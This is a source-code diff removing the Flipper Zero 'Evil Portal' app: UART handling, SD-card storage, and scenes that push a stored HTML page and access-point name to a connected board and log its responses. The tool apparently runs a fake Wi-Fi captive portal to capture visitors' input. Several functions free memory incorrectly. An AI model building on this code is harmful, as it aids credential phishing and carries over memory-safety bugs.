#include "scenes/evil_portal_scene.h"
|
||||
#include "evil_portal_icons.h"
|
||||
#include <assets_icons.h>
|
||||
|
||||
#include <gui/gui.h>
|
||||
#include <gui/modules/loading.h>
|
||||
#include <gui/modules/text_box.h>
|
||||
#include <gui/modules/text_input.h>
|
||||
#include <gui/modules/variable_item_list.h>
|
||||
#include <gui/scene_manager.h>
|
||||
#include <gui/view_dispatcher.h>
|
||||
#include <gui/view_stack.h>
|
||||
#include <dialogs/dialogs.h>
|
||||
|
||||
#include <xtreme.h>
|
||||
|
||||
#define NUM_MENU_ITEMS (6)
|
||||
|
||||
#define EVIL_PORTAL_TEXT_BOX_STORE_SIZE (4096)
|
||||
#define UART_CH \
|
||||
(XTREME_SETTINGS()->uart_esp_channel == UARTDefault ? FuriHalUartIdUSART1 : \
|
||||
FuriHalUartIdLPUART1)
|
||||
|
||||
#define SET_HTML_CMD "sethtml"
|
||||
#define SET_AP_CMD "setap"
|
||||
#define RESET_CMD "reset"
|
||||
|
||||
struct Evil_PortalApp {
|
||||
Gui* gui;
|
||||
ViewDispatcher* view_dispatcher;
|
||||
SceneManager* scene_manager;
|
||||
|
||||
FuriString* portal_logs;
|
||||
const char* command_queue[1];
|
||||
int command_index;
|
||||
bool has_command_queue;
|
||||
|
||||
FuriString* text_box_store;
|
||||
size_t text_box_store_strlen;
|
||||
TextBox* text_box;
|
||||
|
||||
VariableItemList* var_item_list;
|
||||
Evil_PortalUart* uart;
|
||||
TextInput* text_input;
|
||||
DialogsApp* dialogs;
|
||||
FuriString* file_path;
|
||||
Loading* loading;
|
||||
ViewStack* view_stack;
|
||||
|
||||
int selected_menu_index;
|
||||
int selected_option_index[NUM_MENU_ITEMS];
|
||||
const char* selected_tx_string;
|
||||
bool is_command;
|
||||
bool is_custom_tx_string;
|
||||
bool focus_console_start;
|
||||
bool show_stopscan_tip;
|
||||
bool sent_ap;
|
||||
bool sent_html;
|
||||
bool sent_reset;
|
||||
int BAUDRATE;
|
||||
char text_store[2][128 + 1];
|
||||
|
||||
uint8_t* index_html;
|
||||
uint8_t* ap_name;
|
||||
};
|
||||
|
||||
typedef enum {
|
||||
Evil_PortalAppViewVarItemList,
|
||||
Evil_PortalAppViewConsoleOutput,
|
||||
Evil_PortalAppViewStartPortal,
|
||||
Evil_PortalAppViewTextInput,
|
||||
} Evil_PortalAppView;
|
||||
@@ -1,9 +0,0 @@
|
||||
#pragma once
|
||||
|
||||
typedef enum {
|
||||
Evil_PortalEventRefreshConsoleOutput = 0,
|
||||
Evil_PortalEventStartConsole,
|
||||
Evil_PortalEventStartKeyboard,
|
||||
Evil_PortalEventStartPortal,
|
||||
Evil_PortalEventTextInput,
|
||||
} Evil_PortalCustomEvent;
|
||||
157
applications/external/evil_portal/evil_portal_uart.c
vendored
@@ -1,157 +0,0 @@
|
||||
#include "evil_portal_app_i.h"
|
||||
#include "evil_portal_uart.h"
|
||||
#include "helpers/evil_portal_storage.h"
|
||||
|
||||
struct Evil_PortalUart {
|
||||
Evil_PortalApp* app;
|
||||
FuriThread* rx_thread;
|
||||
FuriStreamBuffer* rx_stream;
|
||||
uint8_t rx_buf[RX_BUF_SIZE + 1];
|
||||
void (*handle_rx_data_cb)(uint8_t* buf, size_t len, void* context);
|
||||
};
|
||||
|
||||
typedef enum {
|
||||
WorkerEvtStop = (1 << 0),
|
||||
WorkerEvtRxDone = (1 << 1),
|
||||
} WorkerEvtFlags;
|
||||
|
||||
void evil_portal_uart_set_handle_rx_data_cb(
|
||||
Evil_PortalUart* uart,
|
||||
void (*handle_rx_data_cb)(uint8_t* buf, size_t len, void* context)) {
|
||||
furi_assert(uart);
|
||||
uart->handle_rx_data_cb = handle_rx_data_cb;
|
||||
}
|
||||
|
||||
#define WORKER_ALL_RX_EVENTS (WorkerEvtStop | WorkerEvtRxDone)
|
||||
|
||||
void evil_portal_uart_on_irq_cb(UartIrqEvent ev, uint8_t data, void* context) {
|
||||
Evil_PortalUart* uart = (Evil_PortalUart*)context;
|
||||
|
||||
if(ev == UartIrqEventRXNE) {
|
||||
furi_stream_buffer_send(uart->rx_stream, &data, 1, 0);
|
||||
furi_thread_flags_set(furi_thread_get_id(uart->rx_thread), WorkerEvtRxDone);
|
||||
}
|
||||
}
|
||||
|
||||
static int32_t uart_worker(void* context) {
|
||||
Evil_PortalUart* uart = (void*)context;
|
||||
|
||||
while(1) {
|
||||
uint32_t events =
|
||||
furi_thread_flags_wait(WORKER_ALL_RX_EVENTS, FuriFlagWaitAny, FuriWaitForever);
|
||||
furi_check((events & FuriFlagError) == 0);
|
||||
if(events & WorkerEvtStop) break;
|
||||
if(events & WorkerEvtRxDone) {
|
||||
size_t len = furi_stream_buffer_receive(uart->rx_stream, uart->rx_buf, RX_BUF_SIZE, 0);
|
||||
|
||||
if(len > 0) {
|
||||
if(uart->handle_rx_data_cb) {
|
||||
uart->handle_rx_data_cb(uart->rx_buf, len, uart->app);
|
||||
|
||||
if(uart->app->has_command_queue) {
|
||||
if(uart->app->command_index < 1) {
|
||||
if(0 == strncmp(
|
||||
SET_AP_CMD,
|
||||
uart->app->command_queue[uart->app->command_index],
|
||||
strlen(SET_AP_CMD))) {
|
||||
FuriString* out_data = furi_string_alloc();
|
||||
|
||||
furi_string_cat(out_data, "setap=");
|
||||
furi_string_cat(out_data, (char*)uart->app->ap_name);
|
||||
|
||||
evil_portal_uart_tx(
|
||||
(uint8_t*)(furi_string_get_cstr(out_data)),
|
||||
strlen(furi_string_get_cstr(out_data)));
|
||||
evil_portal_uart_tx((uint8_t*)("\n"), 1);
|
||||
|
||||
uart->app->sent_ap = true;
|
||||
|
||||
free(out_data);
|
||||
free(uart->app->ap_name);
|
||||
}
|
||||
|
||||
uart->app->command_index = 0;
|
||||
uart->app->has_command_queue = false;
|
||||
uart->app->command_queue[0] = "";
|
||||
}
|
||||
}
|
||||
|
||||
if(uart->app->sent_reset == false) {
|
||||
furi_string_cat(uart->app->portal_logs, (char*)uart->rx_buf);
|
||||
}
|
||||
|
||||
if(furi_string_utf8_length(uart->app->portal_logs) > 4000) {
|
||||
write_logs(uart->app->portal_logs);
|
||||
furi_string_reset(uart->app->portal_logs);
|
||||
}
|
||||
} else {
|
||||
uart->rx_buf[len] = '\0';
|
||||
if(uart->app->sent_reset == false) {
|
||||
furi_string_cat(uart->app->portal_logs, (char*)uart->rx_buf);
|
||||
}
|
||||
|
||||
if(furi_string_utf8_length(uart->app->portal_logs) > 4000) {
|
||||
write_logs(uart->app->portal_logs);
|
||||
furi_string_reset(uart->app->portal_logs);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
furi_hal_uart_set_irq_cb(UART_CH, NULL, NULL);
|
||||
furi_stream_buffer_free(uart->rx_stream);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
void evil_portal_uart_tx(uint8_t* data, size_t len) {
|
||||
furi_hal_uart_tx(UART_CH, data, len);
|
||||
}
|
||||
|
||||
Evil_PortalUart* evil_portal_uart_init(Evil_PortalApp* app) {
|
||||
Evil_PortalUart* uart = malloc(sizeof(Evil_PortalUart));
|
||||
uart->app = app;
|
||||
// Init all rx stream and thread early to avoid crashes
|
||||
uart->rx_stream = furi_stream_buffer_alloc(RX_BUF_SIZE, 1);
|
||||
uart->rx_thread = furi_thread_alloc();
|
||||
furi_thread_set_name(uart->rx_thread, "Evil_PortalUartRxThread");
|
||||
furi_thread_set_stack_size(uart->rx_thread, 1024);
|
||||
furi_thread_set_context(uart->rx_thread, uart);
|
||||
furi_thread_set_callback(uart->rx_thread, uart_worker);
|
||||
|
||||
furi_thread_start(uart->rx_thread);
|
||||
|
||||
if(UART_CH == FuriHalUartIdUSART1) {
|
||||
furi_hal_console_disable();
|
||||
} else if(UART_CH == FuriHalUartIdLPUART1) {
|
||||
furi_hal_uart_init(UART_CH, app->BAUDRATE);
|
||||
}
|
||||
|
||||
if(app->BAUDRATE == 0) {
|
||||
app->BAUDRATE = 115200;
|
||||
}
|
||||
|
||||
furi_hal_uart_set_br(UART_CH, app->BAUDRATE);
|
||||
furi_hal_uart_set_irq_cb(UART_CH, evil_portal_uart_on_irq_cb, uart);
|
||||
|
||||
evil_portal_uart_tx((uint8_t*)("XFW#EVILPORTAL=1\n"), strlen("XFW#EVILPORTAL=1\n"));
|
||||
|
||||
return uart;
|
||||
}
|
||||
|
||||
void evil_portal_uart_free(Evil_PortalUart* uart) {
|
||||
furi_assert(uart);
|
||||
|
||||
furi_thread_flags_set(furi_thread_get_id(uart->rx_thread), WorkerEvtStop);
|
||||
furi_thread_join(uart->rx_thread);
|
||||
furi_thread_free(uart->rx_thread);
|
||||
|
||||
if(UART_CH == FuriHalUartIdLPUART1) {
|
||||
furi_hal_uart_deinit(UART_CH);
|
||||
} else {
|
||||
furi_hal_console_enable();
|
||||
}
|
||||
|
||||
free(uart);
|
||||
}
|
||||
@@ -1,14 +0,0 @@
|
||||
#pragma once
|
||||
|
||||
#include "furi_hal.h"
|
||||
|
||||
#define RX_BUF_SIZE (320)
|
||||
|
||||
typedef struct Evil_PortalUart Evil_PortalUart;
|
||||
|
||||
void evil_portal_uart_set_handle_rx_data_cb(
|
||||
Evil_PortalUart* uart,
|
||||
void (*handle_rx_data_cb)(uint8_t* buf, size_t len, void* context));
|
||||
void evil_portal_uart_tx(uint8_t* data, size_t len);
|
||||
Evil_PortalUart* evil_portal_uart_init(Evil_PortalApp* app);
|
||||
void evil_portal_uart_free(Evil_PortalUart* uart);
|
||||
@@ -1,163 +0,0 @@
|
||||
#include "evil_portal_storage.h"
|
||||
|
||||
static Storage* evil_portal_open_storage() {
|
||||
return furi_record_open(RECORD_STORAGE);
|
||||
}
|
||||
|
||||
static void evil_portal_close_storage() {
|
||||
furi_record_close(RECORD_STORAGE);
|
||||
}
|
||||
|
||||
void evil_portal_read_index_html(void* context) {
|
||||
Evil_PortalApp* app = context;
|
||||
Storage* storage = evil_portal_open_storage();
|
||||
FileInfo fi;
|
||||
|
||||
if(!storage_common_exists(storage, EVIL_PORTAL_INDEX_SAVE_PATH)) {
|
||||
FuriString* tmp = furi_string_alloc_set(EVIL_PORTAL_INDEX_DEFAULT_PATH);
|
||||
evil_portal_replace_index_html(tmp);
|
||||
furi_string_free(tmp);
|
||||
}
|
||||
|
||||
if(storage_common_stat(storage, EVIL_PORTAL_INDEX_SAVE_PATH, &fi) == FSE_OK) {
|
||||
File* index_html = storage_file_alloc(storage);
|
||||
if(storage_file_open(
|
||||
index_html, EVIL_PORTAL_INDEX_SAVE_PATH, FSAM_READ, FSOM_OPEN_EXISTING)) {
|
||||
app->index_html = malloc((size_t)fi.size);
|
||||
uint8_t* buf_ptr = app->index_html;
|
||||
size_t read = 0;
|
||||
while(read < fi.size) {
|
||||
size_t to_read = fi.size - read;
|
||||
if(to_read > UINT16_MAX) to_read = UINT16_MAX;
|
||||
uint16_t now_read = storage_file_read(index_html, buf_ptr, (uint16_t)to_read);
|
||||
read += now_read;
|
||||
buf_ptr += now_read;
|
||||
}
|
||||
free(buf_ptr);
|
||||
}
|
||||
storage_file_close(index_html);
|
||||
storage_file_free(index_html);
|
||||
} else {
|
||||
char* html_error = "<b>Evil portal</b><br>Unable to read the html file.<br>"
|
||||
"Is the SD Card set up correctly? <br>See instructions @ "
|
||||
"github.com/bigbrodude6119/flipper-zero-evil-portal<br>"
|
||||
"Under the 'Install pre-built app on the flipper' section.";
|
||||
app->index_html = (uint8_t*)html_error;
|
||||
}
|
||||
|
||||
evil_portal_close_storage();
|
||||
}
|
||||
|
||||
void evil_portal_replace_index_html(FuriString* path) {
|
||||
Storage* storage = evil_portal_open_storage();
|
||||
FS_Error error;
|
||||
error = storage_common_remove(storage, EVIL_PORTAL_INDEX_SAVE_PATH);
|
||||
if(error != FSE_OK) {
|
||||
FURI_LOG_D("EVIL PORTAL", "Error removing file");
|
||||
} else {
|
||||
FURI_LOG_D("EVIL PORTAL", "Error removed file");
|
||||
}
|
||||
error = storage_common_copy(storage, furi_string_get_cstr(path), EVIL_PORTAL_INDEX_SAVE_PATH);
|
||||
if(error != FSE_OK) {
|
||||
FURI_LOG_D("EVIL PORTAL", "Error copying file");
|
||||
}
|
||||
evil_portal_close_storage();
|
||||
}
|
||||
|
||||
void evil_portal_create_html_folder_if_not_exists() {
|
||||
Storage* storage = evil_portal_open_storage();
|
||||
if(storage_common_stat(storage, HTML_FOLDER, NULL) == FSE_NOT_EXIST) {
|
||||
FURI_LOG_D("Evil Portal", "Directory %s doesn't exist. Will create new.", HTML_FOLDER);
|
||||
if(!storage_simply_mkdir(storage, HTML_FOLDER)) {
|
||||
FURI_LOG_E("Evil Portal", "Error creating directory %s", HTML_FOLDER);
|
||||
}
|
||||
}
|
||||
evil_portal_close_storage();
|
||||
}
|
||||
|
||||
void evil_portal_read_ap_name(void* context) {
|
||||
Evil_PortalApp* app = context;
|
||||
Storage* storage = evil_portal_open_storage();
|
||||
FileInfo fi;
|
||||
|
||||
if(storage_common_stat(storage, EVIL_PORTAL_AP_SAVE_PATH, &fi) == FSE_OK) {
|
||||
File* ap_name = storage_file_alloc(storage);
|
||||
if(storage_file_open(ap_name, EVIL_PORTAL_AP_SAVE_PATH, FSAM_READ, FSOM_OPEN_EXISTING)) {
|
||||
app->ap_name = malloc((size_t)fi.size);
|
||||
uint8_t* buf_ptr = app->ap_name;
|
||||
size_t read = 0;
|
||||
while(read < fi.size) {
|
||||
size_t to_read = fi.size - read;
|
||||
if(to_read > UINT16_MAX) to_read = UINT16_MAX;
|
||||
uint16_t now_read = storage_file_read(ap_name, buf_ptr, (uint16_t)to_read);
|
||||
read += now_read;
|
||||
buf_ptr += now_read;
|
||||
}
|
||||
free(buf_ptr);
|
||||
}
|
||||
storage_file_close(ap_name);
|
||||
storage_file_free(ap_name);
|
||||
} else {
|
||||
char* app_default = "Evil Portal";
|
||||
app->ap_name = (uint8_t*)app_default;
|
||||
}
|
||||
evil_portal_close_storage();
|
||||
}
|
||||
|
||||
void evil_portal_write_ap_name(void* context) {
|
||||
Evil_PortalApp* app = context;
|
||||
Storage* storage = evil_portal_open_storage();
|
||||
|
||||
File* ap_name = storage_file_alloc(storage);
|
||||
if(storage_file_open(ap_name, EVIL_PORTAL_AP_SAVE_PATH, FSAM_WRITE, FSOM_CREATE_ALWAYS)) {
|
||||
storage_file_write(ap_name, app->text_store[0], strlen(app->text_store[0]));
|
||||
}
|
||||
storage_file_close(ap_name);
|
||||
storage_file_free(ap_name);
|
||||
evil_portal_close_storage();
|
||||
}
|
||||
|
||||
char* sequential_file_resolve_path(
|
||||
Storage* storage,
|
||||
const char* dir,
|
||||
const char* prefix,
|
||||
const char* extension) {
|
||||
if(storage == NULL || dir == NULL || prefix == NULL || extension == NULL) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
char file_path[256];
|
||||
int file_index = 0;
|
||||
|
||||
do {
|
||||
if(snprintf(
|
||||
file_path, sizeof(file_path), "%s/%s_%d.%s", dir, prefix, file_index, extension) <
|
||||
0) {
|
||||
return NULL;
|
||||
}
|
||||
file_index++;
|
||||
} while(storage_file_exists(storage, file_path));
|
||||
|
||||
return strdup(file_path);
|
||||
}
|
||||
|
||||
void write_logs(FuriString* portal_logs) {
|
||||
Storage* storage = evil_portal_open_storage();
|
||||
|
||||
if(!storage_file_exists(storage, EVIL_PORTAL_LOG_SAVE_PATH)) {
|
||||
storage_simply_mkdir(storage, EVIL_PORTAL_LOG_SAVE_PATH);
|
||||
}
|
||||
|
||||
char* seq_file_path =
|
||||
sequential_file_resolve_path(storage, EVIL_PORTAL_LOG_SAVE_PATH, "log", "txt");
|
||||
|
||||
File* file = storage_file_alloc(storage);
|
||||
|
||||
if(storage_file_open(file, seq_file_path, FSAM_WRITE, FSOM_CREATE_ALWAYS)) {
|
||||
storage_file_write(
|
||||
file, furi_string_get_cstr(portal_logs), furi_string_utf8_length(portal_logs));
|
||||
}
|
||||
storage_file_close(file);
|
||||
storage_file_free(file);
|
||||
evil_portal_close_storage();
|
||||
}
|
||||
@@ -1,26 +0,0 @@
|
||||
#include "../evil_portal_app_i.h"
|
||||
#include <flipper_format/flipper_format_i.h>
|
||||
#include <lib/toolbox/stream/file_stream.h>
|
||||
#include <stdlib.h>
|
||||
#include <storage/storage.h>
|
||||
#include <string.h>
|
||||
|
||||
#define PORTAL_FILE_DIRECTORY_PATH EXT_PATH("apps_data/evil_portal")
|
||||
#define HTML_EXTENSION ".html"
|
||||
#define HTML_FOLDER PORTAL_FILE_DIRECTORY_PATH "/html"
|
||||
#define EVIL_PORTAL_INDEX_SAVE_PATH PORTAL_FILE_DIRECTORY_PATH "/index.html"
|
||||
#define EVIL_PORTAL_INDEX_DEFAULT_PATH HTML_FOLDER "/xtreme.html"
|
||||
#define EVIL_PORTAL_AP_SAVE_PATH PORTAL_FILE_DIRECTORY_PATH "/ap.config.txt"
|
||||
#define EVIL_PORTAL_LOG_SAVE_PATH PORTAL_FILE_DIRECTORY_PATH "/logs"
|
||||
|
||||
void evil_portal_read_index_html(void* context);
|
||||
void evil_portal_read_ap_name(void* context);
|
||||
void evil_portal_write_ap_name(void* context);
|
||||
void evil_portal_replace_index_html(FuriString* path);
|
||||
void evil_portal_create_html_folder_if_not_exists();
|
||||
void write_logs(FuriString* portal_logs);
|
||||
char* sequential_file_resolve_path(
|
||||
Storage* storage,
|
||||
const char* dir,
|
||||
const char* prefix,
|
||||
const char* extension);
|
||||
|
Before Width: | Height: | Size: 156 B |
@@ -1,30 +0,0 @@
|
||||
#include "evil_portal_scene.h"
|
||||
|
||||
// Generate scene on_enter handlers array
|
||||
#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_enter,
|
||||
void (*const evil_portal_scene_on_enter_handlers[])(void*) = {
|
||||
#include "evil_portal_scene_config.h"
|
||||
};
|
||||
#undef ADD_SCENE
|
||||
|
||||
// Generate scene on_event handlers array
|
||||
#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_event,
|
||||
bool (*const evil_portal_scene_on_event_handlers[])(void* context, SceneManagerEvent event) = {
|
||||
#include "evil_portal_scene_config.h"
|
||||
};
|
||||
#undef ADD_SCENE
|
||||
|
||||
// Generate scene on_exit handlers array
|
||||
#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_exit,
|
||||
void (*const evil_portal_scene_on_exit_handlers[])(void* context) = {
|
||||
#include "evil_portal_scene_config.h"
|
||||
};
|
||||
#undef ADD_SCENE
|
||||
|
||||
// Initialize scene handlers configuration structure
|
||||
const SceneManagerHandlers evil_portal_scene_handlers = {
|
||||
.on_enter_handlers = evil_portal_scene_on_enter_handlers,
|
||||
.on_event_handlers = evil_portal_scene_on_event_handlers,
|
||||
.on_exit_handlers = evil_portal_scene_on_exit_handlers,
|
||||
.scene_num = Evil_PortalSceneNum,
|
||||
};
|
||||
@@ -1,29 +0,0 @@
|
||||
#pragma once
|
||||
|
||||
#include <gui/scene_manager.h>
|
||||
|
||||
// Generate scene id and total number
|
||||
#define ADD_SCENE(prefix, name, id) Evil_PortalScene##id,
|
||||
typedef enum {
|
||||
#include "evil_portal_scene_config.h"
|
||||
Evil_PortalSceneNum,
|
||||
} Evil_PortalScene;
|
||||
#undef ADD_SCENE
|
||||
|
||||
extern const SceneManagerHandlers evil_portal_scene_handlers;
|
||||
|
||||
// Generate scene on_enter handlers declaration
|
||||
#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_enter(void*);
|
||||
#include "evil_portal_scene_config.h"
|
||||
#undef ADD_SCENE
|
||||
|
||||
// Generate scene on_event handlers declaration
|
||||
#define ADD_SCENE(prefix, name, id) \
|
||||
bool prefix##_scene_##name##_on_event(void* context, SceneManagerEvent event);
|
||||
#include "evil_portal_scene_config.h"
|
||||
#undef ADD_SCENE
|
||||
|
||||
// Generate scene on_exit handlers declaration
|
||||
#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_exit(void* context);
|
||||
#include "evil_portal_scene_config.h"
|
||||
#undef ADD_SCENE
|
||||
@@ -1,4 +0,0 @@
|
||||
ADD_SCENE(evil_portal, start, Start)
|
||||
ADD_SCENE(evil_portal, console_output, ConsoleOutput)
|
||||
ADD_SCENE(evil_portal, rename, Rename)
|
||||
ADD_SCENE(evil_portal, select_html, SelectHtml)
|
||||
@@ -1,157 +0,0 @@
|
||||
#include "../evil_portal_app_i.h"
|
||||
#include "../helpers/evil_portal_storage.h"
|
||||
|
||||
void evil_portal_console_output_handle_rx_data_cb(uint8_t* buf, size_t len, void* context) {
|
||||
furi_assert(context);
|
||||
Evil_PortalApp* app = context;
|
||||
|
||||
// If text box store gets too big, then truncate it
|
||||
app->text_box_store_strlen += len;
|
||||
if(app->text_box_store_strlen >= EVIL_PORTAL_TEXT_BOX_STORE_SIZE - 1) {
|
||||
furi_string_right(app->text_box_store, app->text_box_store_strlen / 2);
|
||||
app->text_box_store_strlen = furi_string_size(app->text_box_store) + len;
|
||||
}
|
||||
|
||||
// Null-terminate buf and append to text box store
|
||||
buf[len] = '\0';
|
||||
furi_string_cat_printf(app->text_box_store, "%s", buf);
|
||||
|
||||
view_dispatcher_send_custom_event(app->view_dispatcher, Evil_PortalEventRefreshConsoleOutput);
|
||||
}
|
||||
|
||||
void evil_portal_scene_console_output_on_enter(void* context) {
|
||||
Evil_PortalApp* app = context;
|
||||
|
||||
TextBox* text_box = app->text_box;
|
||||
text_box_reset(app->text_box);
|
||||
text_box_set_font(text_box, TextBoxFontText);
|
||||
if(app->focus_console_start) {
|
||||
text_box_set_focus(text_box, TextBoxFocusStart);
|
||||
} else {
|
||||
text_box_set_focus(text_box, TextBoxFocusEnd);
|
||||
}
|
||||
|
||||
if(app->is_command) {
|
||||
furi_string_reset(app->text_box_store);
|
||||
app->text_box_store_strlen = 0;
|
||||
app->sent_reset = false;
|
||||
|
||||
if(0 == strncmp("help", app->selected_tx_string, strlen("help"))) {
|
||||
const char* help_msg = "BLUE = Waiting\nGREEN = Good\nRED = Bad\n\nThis project is a "
|
||||
"WIP.\ngithub.com/bigbrodude6119/flipper-zero-evil-portal\n\n"
|
||||
"Version 0.0.2\n\n";
|
||||
furi_string_cat_str(app->text_box_store, help_msg);
|
||||
app->text_box_store_strlen += strlen(help_msg);
|
||||
if(app->show_stopscan_tip) {
|
||||
const char* msg = "Press BACK to return\n";
|
||||
furi_string_cat_str(app->text_box_store, msg);
|
||||
app->text_box_store_strlen += strlen(msg);
|
||||
}
|
||||
}
|
||||
|
||||
if(0 == strncmp("savelogs", app->selected_tx_string, strlen("savelogs"))) {
|
||||
const char* help_msg = "Logs saved.\n\n";
|
||||
furi_string_cat_str(app->text_box_store, help_msg);
|
||||
app->text_box_store_strlen += strlen(help_msg);
|
||||
write_logs(app->portal_logs);
|
||||
furi_string_reset(app->portal_logs);
|
||||
if(app->show_stopscan_tip) {
|
||||
const char* msg = "Press BACK to return\n";
|
||||
furi_string_cat_str(app->text_box_store, msg);
|
||||
app->text_box_store_strlen += strlen(msg);
|
||||
}
|
||||
}
|
||||
|
||||
if(0 == strncmp("setapname", app->selected_tx_string, strlen("setapname"))) {
|
||||
scene_manager_next_scene(app->scene_manager, Evil_PortalSceneRename);
|
||||
return;
|
||||
}
|
||||
|
||||
if(0 == strncmp("selecthtml", app->selected_tx_string, strlen("selecthtml"))) {
|
||||
scene_manager_next_scene(app->scene_manager, Evil_PortalSceneSelectHtml);
|
||||
return;
|
||||
}
|
||||
|
||||
if(0 == strncmp(SET_HTML_CMD, app->selected_tx_string, strlen(SET_HTML_CMD))) {
|
||||
app->command_queue[0] = SET_AP_CMD;
|
||||
app->has_command_queue = true;
|
||||
app->command_index = 0;
|
||||
if(app->show_stopscan_tip) {
|
||||
const char* msg = "Starting portal\nIf no response press\nBACK to return\n";
|
||||
furi_string_cat_str(app->text_box_store, msg);
|
||||
app->text_box_store_strlen += strlen(msg);
|
||||
}
|
||||
}
|
||||
|
||||
if(0 == strncmp(RESET_CMD, app->selected_tx_string, strlen(RESET_CMD))) {
|
||||
app->sent_reset = true;
|
||||
if(app->show_stopscan_tip) {
|
||||
const char* msg = "Reseting portal\nPress BACK to return\n\n\n\n";
|
||||
furi_string_cat_str(app->text_box_store, msg);
|
||||
app->text_box_store_strlen += strlen(msg);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
text_box_set_text(app->text_box, furi_string_get_cstr(app->text_box_store));
|
||||
|
||||
scene_manager_set_scene_state(app->scene_manager, Evil_PortalSceneConsoleOutput, 0);
|
||||
view_dispatcher_switch_to_view(app->view_dispatcher, Evil_PortalAppViewConsoleOutput);
|
||||
|
||||
// Register callback to receive data
|
||||
evil_portal_uart_set_handle_rx_data_cb(
|
||||
app->uart, evil_portal_console_output_handle_rx_data_cb);
|
||||
|
||||
if(app->is_command && app->selected_tx_string) {
|
||||
if(0 == strncmp(SET_HTML_CMD, app->selected_tx_string, strlen(SET_HTML_CMD))) {
|
||||
evil_portal_read_index_html(context);
|
||||
|
||||
FuriString* data = furi_string_alloc();
|
||||
furi_string_cat(data, "sethtml=");
|
||||
furi_string_cat(data, (char*)app->index_html);
|
||||
|
||||
evil_portal_uart_tx(
|
||||
(uint8_t*)(furi_string_get_cstr(data)), strlen(furi_string_get_cstr(data)));
|
||||
evil_portal_uart_tx((uint8_t*)("\n"), 1);
|
||||
|
||||
app->sent_html = true;
|
||||
|
||||
free(data);
|
||||
free(app->index_html);
|
||||
|
||||
evil_portal_read_ap_name(context);
|
||||
} else if(0 == strncmp(RESET_CMD, app->selected_tx_string, strlen(RESET_CMD))) {
|
||||
app->sent_html = false;
|
||||
app->sent_ap = false;
|
||||
evil_portal_uart_tx(
|
||||
(uint8_t*)(app->selected_tx_string), strlen(app->selected_tx_string));
|
||||
evil_portal_uart_tx((uint8_t*)("\n"), 1);
|
||||
} else if(1 == strncmp("help", app->selected_tx_string, strlen("help"))) {
|
||||
evil_portal_uart_tx(
|
||||
(uint8_t*)(app->selected_tx_string), strlen(app->selected_tx_string));
|
||||
evil_portal_uart_tx((uint8_t*)("\n"), 1);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
bool evil_portal_scene_console_output_on_event(void* context, SceneManagerEvent event) {
|
||||
Evil_PortalApp* app = context;
|
||||
|
||||
bool consumed = false;
|
||||
|
||||
if(event.type == SceneManagerEventTypeCustom) {
|
||||
text_box_set_text(app->text_box, furi_string_get_cstr(app->text_box_store));
|
||||
consumed = true;
|
||||
} else if(event.type == SceneManagerEventTypeTick) {
|
||||
consumed = true;
|
||||
}
|
||||
|
||||
return consumed;
|
||||
}
|
||||
|
||||
void evil_portal_scene_console_output_on_exit(void* context) {
|
||||
Evil_PortalApp* app = context;
|
||||
|
||||
// Unregister rx callback
|
||||
evil_portal_uart_set_handle_rx_data_cb(app->uart, NULL);
|
||||
}
|
||||
@@ -1,42 +0,0 @@
|
||||
#include "../evil_portal_app_i.h"
|
||||
#include "../helpers/evil_portal_storage.h"
|
||||
|
||||
void evil_portal_text_input_callback(void* context) {
|
||||
furi_assert(context);
|
||||
Evil_PortalApp* app = context;
|
||||
view_dispatcher_send_custom_event(app->view_dispatcher, Evil_PortalEventTextInput);
|
||||
}
|
||||
|
||||
void evil_portal_scene_rename_on_enter(void* context) {
|
||||
Evil_PortalApp* app = context;
|
||||
TextInput* text_input = app->text_input;
|
||||
size_t enter_name_length = 25;
|
||||
evil_portal_read_ap_name(app);
|
||||
text_input_set_header_text(text_input, "AP Name/SSID");
|
||||
strncpy(app->text_store[0], (char*)app->ap_name, enter_name_length);
|
||||
text_input_set_result_callback(
|
||||
text_input,
|
||||
evil_portal_text_input_callback,
|
||||
context,
|
||||
app->text_store[0],
|
||||
enter_name_length,
|
||||
false);
|
||||
view_dispatcher_switch_to_view(app->view_dispatcher, Evil_PortalAppViewTextInput);
|
||||
}
|
||||
|
||||
bool evil_portal_scene_rename_on_event(void* context, SceneManagerEvent event) {
|
||||
Evil_PortalApp* app = context;
|
||||
SceneManager* scene_manager = app->scene_manager;
|
||||
bool consumed = false;
|
||||
if(event.type == SceneManagerEventTypeCustom) {
|
||||
evil_portal_write_ap_name(app);
|
||||
scene_manager_search_and_switch_to_previous_scene(scene_manager, Evil_PortalSceneStart);
|
||||
consumed = true;
|
||||
}
|
||||
return consumed;
|
||||
}
|
||||
|
||||
void evil_portal_scene_rename_on_exit(void* context) {
|
||||
Evil_PortalApp* app = context;
|
||||
variable_item_list_reset(app->var_item_list);
|
||||
}
|
||||